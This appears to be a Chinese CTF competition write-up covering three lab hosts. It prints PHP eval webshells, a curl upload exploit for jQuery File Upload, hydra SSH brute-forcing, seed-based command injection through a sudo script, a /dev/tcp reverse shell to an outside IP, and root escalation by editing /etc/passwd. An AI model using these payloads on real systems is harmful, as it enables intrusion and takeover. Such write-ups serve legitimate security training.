总分和二等奖后几个同分,但时间慢了,所以是三等奖,难受了
Pwn(.73)
(虽然没做出来,还是记录一下)
端口扫描
$ nmap -sS -p- --min-rate=2500 202.0.7.73
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 09:34 CST
Nmap scan report for 202.0.7.73
Host is up (0.0096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8888/tcp open sun-answerbook
8899/tcp open ospf-lite
8899 是一个web端口,没什么有用信息,可以通过网页连接下载到8888端口的程序,8888端口是一个pwn,漏洞点应该是格式化字符串,静态编译的.
针对8899进行信息收集什么也没找到,对这台机器的渗透测是就搁置了
web(.75)
端口扫描
先进行端口扫描,识别存活端口
$ nmap -sS -p- --min-rate=2500 202.0.7.75
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 09:47 CST
Nmap scan report for 202.0.7.75
Host is up (0.0045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
目录扫描
开放了两个web服务,先对80端口的web服务进行目录扫描
dirsearch -u http://ip
扫描到了 /uploads
目录,访问,在目录下看到两个文件shell.php
和shell.txt
<?php eval($_POST_[cmd]);?>
GetShell
蚁剑连接,获得的用户权限为 www-data
先扫荡一下网站目录,发现bak文件,cat获得flag3,在文件dashboard.html获得flag2,hereisaflAg4中存在flag4
在用户athena
的家目录下看到文件flag.txt(没权限)和password提示
生成字典,爆破ssh密码
crunch 10 10 -t password%% > passwd
hydra -l athena -P passwd ssh://ip
密码为password76
使用ssh连接到靶机,可以获得用户家目录下的flag5
提权
sudo -l起手
athena@photosite:~$ sudo -l
sudo: unable to resolve host photosite: Temporary failure in name resolution
Matching Defaults entries for athena on photosite:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User athena may run the following commands on photosite:
(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py
查看cookie-gen.py
的源码
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ")
random.seed = seed
cookie = ''
for c in range(20):
cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
shell=True
使用shell运行命令,如果参数可控,可能导致命令注入
cmd是用户可控参数,可以通过控制seed进行命令拼接
使用 ;
进行隔离
GetRoot flag
![[ccb_root75.png]]
反弹shell
;/bin/sh -i >& /dev/tcp/192.168.101.14/1234 0>&1
维持权限
在/root/.ssh目录下写入公钥
web(.78)
端口扫描
└─# nmap -p22,80,3306,3389 -sC -sV 202.0.7.78
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 10:30 CST
Nmap scan report for 202.0.7.78
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 e2:a1:7d:f8:1c:6b:73:89:c4:39:69:f6:4e:73:f4:84 (RSA)
| 256 a3:d9:34:fd:1d:b6:38:65:21:8d:ba:1f:94:c3:d2:ad (ECDSA)
|_ 256 4b:25:5e:31:82:62:a0:56:76:c1:ef:0c:a1:98:9c:c6 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Enterprise Internal Doc Uploading
| http-methods:
|_ Potentially risky methods: TRACE
3306/tcp open mysql MariaDB (unauthorized)
3389/tcp open ms-wbt-server xrdp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.21 seconds
访问80端口
下载用户信息,在execl里发现flag7
目录扫描
dirsearch -u http://ip
扫描到/test
漏洞利用
在漏洞库搜索历史漏洞
在本地创建一个shell.php
<?php eval($_POST[1]);?>
使用poc进行利用
curl -F "files=@shell.php" http://ip/server/php/index.php
上传成功后使用蚁剑连接,在根目录下存在一个隐藏文件 .flag
,查看获得flag8
提权
文件上传一个linpeas.sh
跑一下,发现/etc/passwd
可写入,可以利用这个错误的安全配置创建一个具有root权限的用户
# 加盐密码
$ openssl passwd -1 -salt st4rry st4rry
将st4rry:GENERATED_PASSWORD_HERE:0:0:st4rry:/root:/bin/bash
加入到etc/passwd
中,即可通过ssh连接(账号密码为st4rry:st4rry)
用户具有root权限,可以在/root
目录下获得flag9
Hint
官方在后期发了一个公告
你们都知道环境中存在内网,但是就是找不到内网的网段,对吧,,内网中的一台机器曾经使用ssh登陆过这3个ip中的其中一个,痕迹会在什么地方呢?
在给出hint之前,使用fscan
进行对网段进行存活扫描,没找到有用的信息
在给出hint之后,使用命令last
查看历史登陆信息, 在已Rooted的两台机器上获取到了两个ip,在针对这两个ip进行C段存活识别未找到任何存活的IP
总结
长城杯决赛是线下断网的比赛,不能访问互联网,需要在本地留存漏洞库,这类赛题一般考察的都是信息收集,要么是内置好的恶意代码,要么是nday,
web(.75) 的机器入口点就是预留的一句话木马,通过一句话木马getshell,在靶机内进行信息收集,利用机器的漏洞再进一步提权
web(.78) 的机器入口点JQuery File Upload的历史漏洞,是可以在exploitdb中找到的,kali离线的漏洞库搜索工具searchsploit
也可以找到该历史漏洞.